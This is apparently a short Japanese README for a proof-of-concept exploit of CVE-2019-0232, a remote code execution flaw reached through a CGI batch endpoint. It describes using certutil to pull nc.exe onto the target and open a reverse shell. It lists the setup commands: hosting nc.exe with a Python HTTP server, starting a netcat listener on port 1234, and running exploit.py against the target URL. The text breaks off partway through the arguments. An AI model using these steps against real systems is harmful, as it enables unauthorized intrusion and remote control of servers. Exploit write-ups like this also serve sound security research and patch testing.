CVE-2019-0232

CGI RCE Exploit CGIバッチエンドポイントを介した認証なしRCEのPoC。certutilを使用してターゲットにnc.exeをダウンロードし、リバースシェルをトリガーします。 セットアップ 1. nc.exeを配信する nc.exeと同じディレクトリ内: python3 -m http.server 80 2. リスナーを起動する: nc -lvnp 1234 3. エクスプロイトを実行する: python3 exploit.py \ --url http://:/cgi/.bat \ --server-ip \ --server-port 80 \ --nc-ip ...